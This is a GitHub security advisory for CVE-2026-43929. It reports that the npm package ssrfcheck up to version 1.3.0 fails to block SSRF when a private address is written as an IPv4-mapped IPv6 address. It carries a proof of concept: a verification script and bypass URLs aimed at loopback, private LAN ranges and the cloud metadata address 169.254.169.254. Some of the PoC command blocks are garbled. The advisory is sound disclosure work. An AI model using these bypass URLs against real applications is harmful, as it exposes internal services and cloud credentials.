GitHub Advisoryadvisory · npm
GHSA-j4rj-2jr5-m439 ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs
HIGH
Official page ↗
- Aliases
- CVE-2026-43929
- Ecosystem
- npm
- Packages
- ssrfcheck
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-184, CWE-918
- Reviewed
- 2026-05-05
Affected packages
• npm ssrfcheck: <= 1.3.0 (no fix yet)
Description
Summary
`ssrfcheck` v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. `http://[::ffff:127.0.0.1]/`). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form (`[::ffff:7f00:1]`) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address `169.254.169.254`, are bypassed. Any application using `isSSRFSafeURL()` to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.
---
Details
Vulnerable file: `src/is-private-ip.js`
The library detects IPv6 private addresses using the `privIp6()` function. The relevant portion:
```js
// src/is-private-ip.js (lines ~40-60 of the published source)
function privIp6 (ip) {
return /^::$/.test(ip) ||
/^::1$/.test(ip) ||
/^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
/^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
// ... more patterns, all expect dot-notation ...
}
```
The third line is the IPv4-mapped IPv6 check. It expects input in the form `::ffff:127.0.0.1` (dots). However, the IP is extracted from the URL using `url.hostname`, which goes through the WHATWG URL parser first.
How WHATWG URL normalizes the address (`src/parse-url.js`):
```js
const url = new URL(normalizeURLStr(input)); // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname); // e.g. '::ffff:7f00:1' ← hex, no dots
const ipVersion = isIP(ipcheck); // returns 6
```
The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:
```
127.0.0.1 → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1 → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101
```
So by the time the regex `/^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/` runs, the string it receives is `::ffff:7f00:1` — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).
Entry point (`src/index.js`):
```js
if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
return false; // ← never reached for IPv4-mapped IPv6
}
return true; // ← always reached → BYPASS
```
---
PoC
Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.
Setup:
```bash
mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck
```
Step 1 — confirm WHATWG URL normalization:
```bash
node ' + h);
}
EOF
```
Expected output — confirms WHATWG drops dots:
```
loopback -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
private LAN -> [::ffff:c0a8:101]
10.x range -> [::ffff:a00:1]
```
Step 2 — trigger the bypass:
```bash
node ', result);
}
console.log('---');
const r1 = isSSRFSafeURL('http://127.0.0.1/');
const r2 = isSSRFSafeURL('http://192.168.1.1/');
const r3 = isSSRFSafeURL('http://[::1]/');
console.log('127.0.0.1 caught?', r1 === false);
console.log('192.168.1.1 caught?', r2 === false);
console.log('[::1] caught?', r3 === false);
EOF
```
Confirmed output (live-verified on Node.js v20.20.2, ssrfcheck v1.3.0, Zorin OS Linux, 2026-04-12):
```
[BYPASS] http://[::ffff:127.0.0.1]/ -> true
[BYPASS] http://[::ffff:169.254.169.254]/ -> true
[BYPASS] http://[::ffff:192.168.1.1]/ -> true
[BYPASS] http://[::ffff:10.0.0.1]/ -> true
[BYPASS] http://[::ffff:172.16.0.1]/ -> true
[BYPASS] http://[::ffff:7f00:1]/ -> true
[BYPASS] http://[0:0:0:0:0:ffff:127.0.0.1]/ -> true
---
127.0.0.1 caught? true
192.168.1.1 caught? true
[::1] caught? true
```
7/7 private-range variants bypass the check. Baseline dot-notation detections remain intact, confirming the bug is specific to the WHATWG normalization path.
Full automated verification script (`verify-ssrfcheck.js`):
```js
!/usr/bin/node
// ssrfcheck bypass verification script
// Tests CWE-918 via IPv4-mapped IPv6 WHATWG URL normalization
const { isSSRFSafeURL } = require('ssrfcheck');
const RED = '\x1b[31m';
const GREEN = '\x1b[32m';
const CYAN = '\x1b[36m';
const DIM = '\x1b[2m';
const RESET = '\x1b[0m';
const BYPASSES = [
{ url: 'http://[::ffff:127.0.0.1]/', label: 'loopback (127.0.0.1)' },
{ url: 'http://[::ffff:169.254.169.254]/', label: 'AWS meta (169.254.169.254)' },
{ url: 'http://[::ffff:192.168.1.1]/', label: 'LAN (192.168.1.1)' },
{ url: 'http://[::ffff:10.0.0.1]/', label: '10.x range (10.0.0.1)' },
{ url: 'http://[::ffff:172.16.0.1]/', label: '172.16.x (172.16.0.1)' },
{ url: 'http://[::ffff:7f00:1]/', label: 'hex form (direct)' },
{ url: 'http://[0:0:0:0:0:ffff:127.0.0.1]/', label: 'expanded (0:0:0:0:0:ffff:127.0.0.1)' },
];
const BASELINE = [
{ url: 'http://127.0.0.1/', label: 'dotted loopback', expectFalse: true },
{ url: 'http://192.168.1.1/', label: 'private LAN', expectFalse: true },
{ url: 'http://[::1]/', label: 'IPv6 loopback', expectFalse: true },
{ url: 'https://example.com/', label: 'public domain', expectFalse: false },
];
console.log(`\n${CYAN}=== ssrfcheck v1.3.0 — bypass verification ===${RESET}`);
console.log(`${DIM}Node.js ${process.version}${RESET}\n`);
console.log(`${CYAN}[STEP 1] WHATWG URL hostname normalization${RESET}`);
for (const { url } of BYPASSES) {
const parsed = new URL(url);
console.log(` ${url.padEnd(45)} -> hostname: ${parsed.hostname}`);
}
console.log(`\n${CYAN}[STEP 2] isSSRFSafeURL() results (all should return false)${RESET}`);
let bypassed = 0;
for (const { url, label } of BYPASSES) {
const result = isSSRFSafeURL(url);
if (result === true) bypassed++;
const tag = result === true
? `${RED}[BYPASS]${RESET}`
: `${GREEN}[caught]${RESET}`;
console.log(` ${tag} ${label.padEnd(30)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${CYAN}[STEP 3] Baseline checks${RESET}`);
for (const { url, label, expectFalse } of BASELINE) {
const result = isSSRFSafeURL(url);
const ok = (expectFalse ? result === false : result === true);
const tag = ok ? `${GREEN}[OK]${RESET} ` : `${RED}[FAIL]${RESET} `;
console.log(` ${tag} ${label.padEnd(20)} -> isSSRFSafeURL() = ${result}`);
}
console.log(`\n${bypassed === BYPASSES.length ? RED : GREEN}=== ${bypassed}/${BYPASSES.length} bypasses confirmed ===${RESET}\n`);
process.exit(bypassed === BYPASSES.length ? 1 : 0);
```
Run:
```bash
node verify-ssrfcheck.js
exit code 1 = bypasses confirmed (vulnerable)
exit code 0 = all caught (fixed)
```
VIDEO POC ASCII CAST
[](https://asciinema.org/a/CxTKMwrlcHUUbQT8)
--
Impact
Vulnerability type: Server-Side …
Related
Alias · CVE (1)
- CVE-2026-43929 ssrfcheck is a library that checks if a string contains a potential SSRF attack. vulnerability